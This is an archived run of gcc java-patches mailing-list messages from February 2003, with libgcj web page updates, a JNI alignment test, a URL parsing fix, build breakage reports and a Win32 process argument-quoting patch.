faq.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/faq.html,v retrieving revision 1.58 diff -u -r1.58 faq.html --- faq.html 19 Feb 2003 18:45:02 -0000 1.58 +++ faq.html 19 Feb 2003 18:46:16 -0000 @@ -160,7 +160,7 @@ not found in the application binary or linked shared libraries, the class loader will search for a bytecode version in your classpath, much like a VM would. Be sure to build libgcj with the --enable-interpreter option to enable this - functionality. Currently this only works on x86 linux.

+ functionality.

The program "gij" provides a front end to the interpreter that behaves much like a traditional virtual machine. You can even use "gij" to run a shared library From java-patches-return-6214-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 20:45:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10927 invoked by alias); 19 Feb 2003 20:45:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10912 invoked from network); 19 Feb 2003 20:45:19 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 19 Feb 2003 20:45:19 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA22818; Wed, 19 Feb 2003 13:45:17 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 7A2FA4F8329; Wed, 19 Feb 2003 13:36:15 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: java web page updates From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Will this never-ending series of PLEASURABLE EVENTS never cease? Date: 19 Feb 2003 13:36:15 -0700 Message-ID: <87k7fw9feo.fsf@fleche.redhat.com> Lines: 78 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This update the gcj web pages to link to the Japi comparisons, and also to mention GNU Crypto. Tom Index: ChangeLog from Tom Tromey * index.html: Mention GNU Crypto. * status.html: Link to japi page. Mention GNU Crypto. Index: index.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/index.html,v retrieving revision 1.121 diff -u -r1.121 index.html --- index.html 5 Jan 2003 15:14:40 -0000 1.121 +++ index.html 19 Feb 2003 20:44:30 -0000 @@ -58,6 +58,11 @@ and RPMs are available.

+

+For javax.crypto support, we recommend the use of +GNU Crypto. +

+

Index: status.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/status.html,v retrieving revision 1.23 diff -u -r1.23 status.html --- status.html 11 Feb 2003 16:33:24 -0000 1.23 +++ status.html 19 Feb 2003 20:44:30 -0000 @@ -51,6 +51,12 @@ + +

You can also see a comparison of +libgcj with the JDK. This is updated nightly. It is run against +the cvs trunk, and includes GNU Crypto in its analysis. This is the +most up-to-date analysis of API differences.

+
java.applet
Believed to be complete, but note that without a functional AWT @@ -91,6 +97,9 @@
Ok, but most localization data not available.
javax.accessibility
Some code; status unknown.
+
javax.crypto
+
We recommend using GNU Crypto.
javax.naming
Complete, but no providers written.
javax.sql
@@ -101,15 +110,10 @@
Complete, but no providers written.
-

You can see You can also see a comparison of our classes with Classpath's. Differences here are merged from time to time.

- -

You can also see a -comparison of Classpath with the JDK. This is roughly equivalent -to a comparison of libgcj with the JDK.

From java-patches-return-6215-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 21:52:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32563 invoked by alias); 19 Feb 2003 21:52:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32523 invoked from network); 19 Feb 2003 21:52:25 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 19 Feb 2003 21:52:25 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA08179; Wed, 19 Feb 2003 14:52:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 389694F8329; Wed, 19 Feb 2003 14:43:16 -0700 (MST) To: Gcc Patch List Cc: java-patches@gcc.gnu.org Subject: Patch: move gcj 3.3 status page to gcc-3.3 directory From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: MY income is ALL disposable! Date: 19 Feb 2003 14:43:15 -0700 Message-ID: <877kbw7xqk.fsf@fleche.redhat.com> Lines: 652 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch was suggested a while back by Gerald. It moves the gcj 3.1 and 3.3 status pages to the respective gcc- directories. Ok to commit? Tom Index: gcc-3.1/gcj-status.html =================================================================== RCS file: gcc-3.1/gcj-status.html diff -N gcc-3.1/gcj-status.html --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gcc-3.1/gcj-status.html 19 Feb 2003 21:50:38 -0000 @@ -0,0 +1,135 @@ + + + +GCJ 3.1 status + + + + +

GCJ 3.1 status

+ +

Bugs

+ +

We are tracking all bugs in Gnats. Any bugs that we want to fix +for the 3.1 release will be marked high priority. You can +see this list here.

+ + +

Platforms

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Platform Status Who
i686-pc-linux-gnu Ok Tom
i386-*-freebsd* Ok Loren James Rittle
alphaev67-unknown-linux-gnu Ok Tom
ia64-*-linux-gnu Ok Hans, Andrew, et al
PPC Linux Ok Bryce
sparc-sun-solaris2.5.1 Ok Rainer
sparc-sun-solaris2.8 Ok Rainer
sparc-sun-solaris2.7 Ok (PR 6092 still in question) Rainer
sparc-sun-solaris2.6 Ok Andreas
i386-pc-solaris2.8 Ok Rainer
mips-sgi-irix6.5 Ok; libgcj will not be enabled by default due to the tricks + required to get it to build Rainer
i686-pc-mingw32Ok. Only works as a target, not a host. + Is still incomplete (at least Process does not work yet) + Adam
PPC Darwin stddef.h tweak, std_cctype.h tweak, use "ar qc" Andreas, Alexandre, others
alpha-dec-osf4.0f Ok Rainer
alpha-dec-osf5.1 Ok Rainer
linux -x- xscale-elf Ok AG
+ +

Packages

+ + + + + + + + + + + + + + + + + + + + +
Package Status Who
Classpath build Ok Mark Wielaard
rhug Build failure on alpha; other platforms untested Tom
Mauve Ok Mark Wielaard
+ + + + Index: gcc-3.3/gcj-status.html =================================================================== RCS file: gcc-3.3/gcj-status.html diff -N gcc-3.3/gcj-status.html --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gcc-3.3/gcj-status.html 19 Feb 2003 21:50:38 -0000 @@ -0,0 +1,170 @@ + + + +GCJ 3.3 status + + + + +

GCJ 3.3 status

+ +

Bugs

+ +

We are tracking all bugs in Gnats. Any bugs that we want to fix +for the 3.3 release will be marked high priority. You can +see this list here.

+ + +

Platforms

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Platform Status Who
i686-pc-linux-gnu Ok Tom Tromey
i386-*-freebsd*    
alphaev67-unknown-linux-gnu   Jeff Sturm
ia64-*-linux-gnu    
gnu-linux-unknown-powerpc   Mark Wielaard
sparc-sun-solaris2.5.1    
sparc-sun-solaris2.8   Jeff Sturm
sparc-sun-solaris2.7    
sparc-sun-solaris2.6    
i386-pc-solaris2.8    
mips-sgi-irix6.5    
i686-pc-mingw32    
PPC Darwin   Andreas Tobler
alpha-dec-osf4.0f    
alpha-dec-osf5.1    
s390-*-linux   Ulrich Weigand
s390x-*-linux   Ulrich Weigand
cross-building for xscale-elf   Anthony Green
+ +

Packages

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Package Status Who
Classpath build    
rhug ok on x86  
Mauve Some unanalyzed failures Mark Wielaard
Jacks As good as we're going to be  
Kawa    
GNU Crypto 1.1pre5 fine on x86 Linux Tom Tromey
+ + +

See Also

+ +

It is also worth looking at the old gcj 3.1 status page for comparison. In +particular known problems with 3.1 aren't required to be fixed for +3.3.

+ + + + Index: java/ChangeLog from Tom Tromey * gcj-3.1-status.html, gcj-3.3-status.html: Moved to respective release directories. Index: java/gcj-3.1-status.html =================================================================== RCS file: java/gcj-3.1-status.html diff -N java/gcj-3.1-status.html --- java/gcj-3.1-status.html 31 Oct 2002 14:47:43 -0000 1.28 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,135 +0,0 @@ - - - -GCJ 3.1 status - - - - -

GCJ 3.1 status

- -

Bugs

- -

We are tracking all bugs in Gnats. Any bugs that we want to fix -for the 3.1 release will be marked high priority. You can -see this list here.

- - -

Platforms

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Platform Status Who
i686-pc-linux-gnu Ok Tom
i386-*-freebsd* Ok Loren James Rittle
alphaev67-unknown-linux-gnu Ok Tom
ia64-*-linux-gnu Ok Hans, Andrew, et al
PPC Linux Ok Bryce
sparc-sun-solaris2.5.1 Ok Rainer
sparc-sun-solaris2.8 Ok Rainer
sparc-sun-solaris2.7 Ok (PR 6092 still in question) Rainer
sparc-sun-solaris2.6 Ok Andreas
i386-pc-solaris2.8 Ok Rainer
mips-sgi-irix6.5 Ok; libgcj will not be enabled by default due to the tricks - required to get it to build Rainer
i686-pc-mingw32Ok. Only works as a target, not a host. - Is still incomplete (at least Process does not work yet) - Adam
PPC Darwin stddef.h tweak, std_cctype.h tweak, use "ar qc" Andreas, Alexandre, others
alpha-dec-osf4.0f Ok Rainer
alpha-dec-osf5.1 Ok Rainer
linux -x- xscale-elf Ok AG
- -

Packages

- - - - - - - - - - - - - - - - - - - - -
Package Status Who
Classpath build Ok Mark Wielaard
rhug Build failure on alpha; other platforms untested Tom
Mauve Ok Mark Wielaard
- - - - Index: java/gcj-3.3-status.html =================================================================== RCS file: java/gcj-3.3-status.html diff -N java/gcj-3.3-status.html --- java/gcj-3.3-status.html 7 Feb 2003 23:37:16 -0000 1.9 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,170 +0,0 @@ - - - -GCJ 3.3 status - - - - -

GCJ 3.3 status

- -

Bugs

- -

We are tracking all bugs in Gnats. Any bugs that we want to fix -for the 3.3 release will be marked high priority. You can -see this list here.

- - -

Platforms

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Platform Status Who
i686-pc-linux-gnu Ok Tom Tromey
i386-*-freebsd*    
alphaev67-unknown-linux-gnu   Jeff Sturm
ia64-*-linux-gnu    
gnu-linux-unknown-powerpc   Mark Wielaard
sparc-sun-solaris2.5.1    
sparc-sun-solaris2.8   Jeff Sturm
sparc-sun-solaris2.7    
sparc-sun-solaris2.6    
i386-pc-solaris2.8    
mips-sgi-irix6.5    
i686-pc-mingw32    
PPC Darwin   Andreas Tobler
alpha-dec-osf4.0f    
alpha-dec-osf5.1    
s390-*-linux   Ulrich Weigand
s390x-*-linux   Ulrich Weigand
cross-building for xscale-elf   Anthony Green
- -

Packages

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Package Status Who
Classpath build    
rhug ok on x86  
Mauve Some unanalyzed failures Mark Wielaard
Jacks As good as we're going to be  
Kawa    
GNU Crypto 1.1pre5 fine on x86 Linux Tom Tromey
- - -

See Also

- -

It is also worth looking at the old gcj 3.1 status page for comparison. In -particular known problems with 3.1 aren't required to be fixed for -3.3.

- - - - From java-patches-return-6216-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 23:56:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12658 invoked by alias); 19 Feb 2003 23:56:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12650 invoked from network); 19 Feb 2003 23:56:36 -0000 Received: from unknown (HELO palrel12.hp.com) (156.153.255.237) by 172.16.49.205 with SMTP; 19 Feb 2003 23:56:36 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel12.hp.com (Postfix) with ESMTP id 00CB51C015F6; Wed, 19 Feb 2003 15:56:36 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h1JNuWQ13836; Wed, 19 Feb 2003 15:56:33 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Wed, 19 Feb 2003 15:56:31 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id <17LLAKLF>; Wed, 19 Feb 2003 15:56:30 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA136BE@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" Cc: "'java-patches@gcc.gnu.org '" Subject: RE: _Jv_CallAnyMehtodA alignment patch Date: Wed, 19 Feb 2003 15:56:29 -0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C2D872.856C16C0" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2D872.856C16C0 Content-Type: text/plain; charset="iso-8859-1" I've attached a patch that expands an existing jni test to demonstrate the problem. Unfortunately, in many cases this won't actually fail without special measures, since the hardware and/or kernel patch up misaligned references by default. (On IA64 you need the prctl command to get it to fail properly, though a warning message will appear by default.) Are both the test and the original patch (http://gcc.gnu.org/ml/java-patches/2003-q1/msg00317.html) OK for the trunk? I would be inclined to also check these into 3.3, since unaligned references are clearly bugs, even if kernels and hardware sometimes try to hide them. Other opinions? Hans > -----Original Message----- > From: Tom Tromey [mailto:tromey@redhat.com] > Sent: Monday, February 10, 2003 3:51 PM > To: Boehm, Hans > Cc: 'Andrew Haley'; 'java-patches@gcc.gnu.org ' > Subject: Re: _Jv_CallAnyMehtodA alignment patch > > > >>>>> "Hans" == Boehm, Hans writes: > > Hans> (Unfortunately, it takes a few awt patches to get to this stage. > Hans> I would like to see those, or corrected versions of them, make > Hans> it into the tree as well.) > > No problem. I'm glad you've looked at this. > > Hans> I think this should show up if you try to pass a byte as the > Hans> first argument and a long as the second argument to a JNI > Hans> method. It looks like there are no such cases in the test > Hans> suite. The gtk peers seem to be by far the most demanding JNI > Hans> test we have? > > That's definitely true. The tests in testsuite/libjava.jni/ are > pretty minimal. > > Could you write a new one? If not, and if I write a new one, could > you test it? > > Tom > ------_=_NextPart_000_01C2D872.856C16C0 Content-Type: application/octet-stream; name="0219tests.diff" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="0219tests.diff" 2003-02-19 Hans Boehm =0A= =0A= * testsuite/libjava.jni/calls.c (docall),=0A= testsuite/libjava.jni/calls.java (longpb_f): check for argument=0A= misalignment.=0A= =0A= Index: testsuite/libjava.jni/calls.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jni/calls.c,v=0A= retrieving revision 1.2.44.1=0A= diff -u -r1.2.44.1 calls.c=0A= --- testsuite/libjava.jni/calls.c 24 Jan 2003 17:40:05 -0000 = 1.2.44.1=0A= +++ testsuite/libjava.jni/calls.c 19 Feb 2003 23:25:49 -0000=0A= @@ -47,6 +47,12 @@=0A= if (l !=3D 2033)=0A= ++fails;=0A= =0A= + method =3D (*env)->GetStaticMethodID (env, klass, "longpb_f", = "(BJBJBJ)J");=0A= + l =3D (*env)->CallStaticLongMethod (env, klass, method, (jbyte) 13, = (jlong) 3,=0A= + (jbyte) 13, (jlong) 3, (jbyte) 13, (jlong) 4);=0A= + if (l !=3D 3033)=0A= + ++fails;=0A= +=0A= method =3D (*env)->GetMethodID (env, klass, "void_f", "()V");=0A= (*env)->CallVoidMethod (env, _this, method);=0A= =0A= Index: testsuite/libjava.jni/calls.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jni/calls.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 calls.java=0A= --- testsuite/libjava.jni/calls.java 17 Feb 2000 00:49:27 -0000 1.1=0A= +++ testsuite/libjava.jni/calls.java 19 Feb 2003 23:25:49 -0000=0A= @@ -37,6 +37,12 @@=0A= return q + 2023;=0A= }=0A= =0A= + public static long longpb_f (byte b1, long q1, byte b2, long q2,=0A= + byte b3, long q3)=0A= + {=0A= + return q1 + q2 + q3 + 3023;=0A= + }=0A= +=0A= public void void_f ()=0A= {=0A= System.out.println ("void");=0A= ------_=_NextPart_000_01C2D872.856C16C0-- From java-patches-return-6217-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 07:29:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21462 invoked by alias); 20 Feb 2003 07:29:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21438 invoked from network); 20 Feb 2003 07:29:42 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 20 Feb 2003 07:29:42 -0000 Received: from dynadsl-080-228-69-017.ewetel.net (dynadsl-080-228-69-017.ewetel.net [80.228.69.17]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1K7TZbq023002; Thu, 20 Feb 2003 08:29:40 +0100 (MET) From: Michael Koch To: Richard.Earnshaw@arm.com, Richard Earnshaw , java-patches@gcc.gnu.org Subject: Re: libjava embedded builds broken *again* Date: Thu, 20 Feb 2003 08:29:29 +0100 User-Agent: KMail/1.5 Cc: Richard.Earnshaw@arm.com References: <200302191737.h1JHbYa05121@pc960.cambridge.arm.com> In-Reply-To: <200302191737.h1JHbYa05121@pc960.cambridge.arm.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302200829.34730.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Mittwoch, 19. Februar 2003 18:37 schrieb Richard Earnshaw: > It seams that 9 out of 10 times when the arm-elf compiler fails to > build its the java libraries that are broken. It's just happened > again: Well, I sent a patch to this list for testing but noone send me a=20 negative response. Then Tom commited it to 3.3 branch so I suspected=20 all was okay. I commit now a fix to libjava/gnu/java/nio/natSocketChannelImpl.cc. Please try it on your platform and tell me netgative and positive=20 things. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+VIPeWSOgCCdjSDsRAmiiAJ41pBM6PmfKI87X0PvtI1hzdRMawACeOhjg CIGBDU0s/UZl7+Y5xeKe4pA=3D =3DDurQ =2D----END PGP SIGNATURE----- From java-patches-return-6218-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 09:49:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20831 invoked by alias); 20 Feb 2003 09:49:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20816 invoked from network); 20 Feb 2003 09:49:57 -0000 Received: from unknown (HELO euro.ugcs.caltech.edu) (131.215.43.200) by 172.16.49.205 with SMTP; 20 Feb 2003 09:49:57 -0000 Received: by euro.ugcs.caltech.edu (Postfix, from userid 2403) id 1C49084054; Thu, 20 Feb 2003 01:49:53 -0800 (PST) Received: from euro.ugcs.caltech.edu (localhost [127.0.0.1]) by euro.ugcs.caltech.edu (Postfix) with ESMTP id 182877880D; Thu, 20 Feb 2003 01:49:48 -0800 (PST) From: jmr@ugcs.caltech.edu (Jesse Rosenstock) To: tromey@redhat.com Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio -- important, please test on your platform In-reply-to: Your message of "18 Feb 2003 11:03:36 MST." <877kbxcvpj.fsf@fleche.redhat.com> Date: Thu, 20 Feb 2003 01:49:48 -0800 Message-Id: <20030220094953.1C49084054@euro.ugcs.caltech.edu> Tom Tromey writes: >One of the big unmerged areas between Classpath and libgcj is the >charset conversion code. I've been hoping we could switch everything >over to use java.nio instead of picking an implementation. Does that >seem reasonable? What about efficiency? And can the java.nio >converters still use iconv as a fallback? That sounds reasonable once they've been tested enough. I don't know about efficiency, someone will need to test the code. I can look at it soon. The java.nio converters don't currently use iconv, but I can add that, too. From java-patches-return-6219-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 09:59:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27891 invoked by alias); 20 Feb 2003 09:59:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27820 invoked from network); 20 Feb 2003 09:59:17 -0000 Received: from unknown (HELO hotmail.com) (65.54.245.65) by 172.16.49.205 with SMTP; 20 Feb 2003 09:59:17 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 20 Feb 2003 01:59:16 -0800 Received: from 148.87.1.171 by by1fd.bay1.hotmail.msn.com with HTTP; Thu, 20 Feb 2003 09:59:16 GMT X-Originating-IP: [148.87.1.171] From: "Ranjit Mathew" To: java-patches@gcc.gnu.org Bcc: Subject: Re: Regression in GCJ 3.3 in parsing property files Date: Thu, 20 Feb 2003 15:29:16 +0530 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Feb 2003 09:59:16.0663 (UTC) FILETIME=[BAAA1C70:01C2D8C6] > > Or, I could be mistaken about all this and we would have to fix the > > URL parsing code. Can you find out? > >The following patch to the parseURL( ) method fixes the problem for me: Is this patch acceptable? If yes, here it is in a more palatable format: Index: ChangeLog from Ranjit Mathew * java/net/URLStreamHandler.java (parseURL): Use File.separatorChar, if needed, in addition to '/' to parse the path component of a URL. Index: java/net/URLStreamHandler.java =================================================================== --- java/net/URLStreamHandler.java 2003-02-19 00:33:08.000000000 +0530 +++ java/net/URLStreamHandler.java 2003-02-19 00:51:32.000000000 +0530 @@ -40,4 +40,5 @@ import java.io.IOException; +import java.io.File; /* @@ -177,6 +178,14 @@ { // Context is available, but only override it if there is a new file. - file = file.substring(0, file.lastIndexOf('/')) - + '/' + spec.substring(start, end); + char sepChar = '/'; + int lastSlash = file.lastIndexOf (sepChar); + if ((lastSlash < 0) && (File.separatorChar != sepChar)) + { + sepChar = File.separatorChar; + lastSlash = file.lastIndexOf (sepChar); + } + + file = file.substring(0, lastSlash) + + sepChar + spec.substring(start, end); ref = null; } _________________________________________________________________ MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*. http://join.msn.com/?page=features/virus From java-patches-return-6220-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 10:09:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2277 invoked by alias); 20 Feb 2003 10:09:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2252 invoked from network); 20 Feb 2003 10:09:23 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 20 Feb 2003 10:09:23 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1KA9L616740 for ; Thu, 20 Feb 2003 04:09:21 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Thu, 20 Feb 2003 04:09:46 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: <2VEBRLG1UIGH6FEJHLITPGFSNSMU.3e54a96a@p733> Subject: Patch: Win32 Process Implementation MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------DBTo9ziRBnGiThHWTUZisK" ------------DBTo9ziRBnGiThHWTUZisK Content-Type: text/plain; charset="us-ascii" Hi People, Here is a patch to Ranjit's Win32 process implementation which corrects the fact that both the executable path and its arguments need to be quoted if they contain embedded spaces. The patch unconditionally quotes these. In addition, any embedded quotes present in command line arguments to the executable are stripped - this behavior seems to be consistent with what I observed in Sun's JDK (1.4.1_01). I've attached a test case and the pre- and post-bugfix output as well as the output when run under Sun's java. This patch corrects the problem I was observing here: http://gcc.gnu.org/ml/java/2003-02/msg00306.html which wasn't due to backslashes, but rather, the fact that my executable was in "\Program Files\thisiscool-gcc". With this patch and my _Jv_ThisExecutable() implementation, (cf. the above post) for which I haven't submitted a formal patch yet, Ranjit's stack traces work no matter where you launch the executable from. I used Ranjit's email format - let me know if this format is okay. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog: 2003-02-20 Mohan Embar * java/lang/natWin32Process.cc addArg(): helper function which adds an argument to the command line, double-quoting it but removing embedded quotes. This is consistent JDK 1.4 java::lang::ConcreteProcess::startProcess: use addArg() for the executable name and its arguments ---------------------------------- 8< ---------------------------------- Index: java/lang/natWin32Process.cc =================================================================== --- java/lang/natWin32Process.cc 2003-02-20 01:29:08.000000000 -0600 +++ java/lang/natWin32Process.cc 2003-02-20 03:33:12.000000000 -0600 @@ -122,4 +122,19 @@ } +static void addArg(char*& rpszDst, const char* pcszSrc) +{ + // Adds the current argument to the command line, + // quoting the argument as well as removing any + // quotes from within the argument. + *rpszDst++ = '\"'; + char c; + while ((c = *pcszSrc++)) // note = and not == + { + if (c != '\"') + *rpszDst++ = c; + } + *rpszDst++ = '\"'; +} + void java::lang::ConcreteProcess::startProcess (jstringArray progarray, @@ -137,19 +152,21 @@ for (int i = 0; i < progarray->length; ++i) - cmdLineLen += (_Jv_GetStringUTFLength (elts[i]) + 1); + cmdLineLen += (_Jv_GetStringUTFLength (elts[i]) + 3); char *cmdLine = (char *) _Jv_Malloc (cmdLineLen + 1); + char *cmdLineCurPos = cmdLine; - int j = 0; for (int i = 0; i < progarray->length; ++i) { + if (i>0) + *cmdLineCurPos++ = ' '; jsize s = _Jv_GetStringUTFLength (elts[i]); - _Jv_GetStringUTFRegion (elts[i], 0, s, (cmdLine + j)); - - j += s; - *(cmdLine + j) = ' '; - j++; + char* pszThisArg = (char*) _Jv_Malloc(s+1); + _Jv_GetStringUTFRegion (elts[i], 0, s, pszThisArg); + pszThisArg[s] = '\0'; + addArg(cmdLineCurPos, pszThisArg); + _Jv_Free(pszThisArg); } - *(cmdLine + j) = '\0'; + *cmdLineCurPos = '\0'; // Get the environment, if any. ---------------------------------- 8< ---------------------------------- ------------DBTo9ziRBnGiThHWTUZisK Content-Disposition: attachment; filename="PrintArgs.zip" Content-Type: application/zip Content-Transfer-Encoding: Base64 UEsDBBQAAAAIANgKVC4DQOdgdAAAAIgAAAAJAAAAYnVpbGQuYmF0K04tyclP TszhCnAM8VBwsYoJCPJ3D3KsM4wpycgszixOzs/P0U1PTo4BYl1jPeOYpMw8 a1WQYlWu4tQSBZBy24CizLwSx6L04pDU4hKu9OQsBV3d3MTMPFtVkLSqgm6+ AoSll1qRCmNmJZYlcqXmpUCsBwBQSwMEFAAAAAgAXB1ULnK6o1+CAAAAyQAA ABQAAABHQ0ozM19Qb3N0QnVnRml4Lm91dFXNMQvCMBCG4V3wPxzdk8HRQSiI dCzYsUtIr0kg6endif35WpCo28fDB2+HORPMTAV6Tou2HMTiivudMSdo/qz5 oJsmPuS0VDBzXdXOx7FnCuwKXFJGGTUmSeKJsgnej7i6ctu8Jr5rQNHfYAtb DZ5JI9wfpCgWrgQakdFC5+z7+AJQSwMEFAAAAAgAegxULlaE2oCEAAAA+gAA 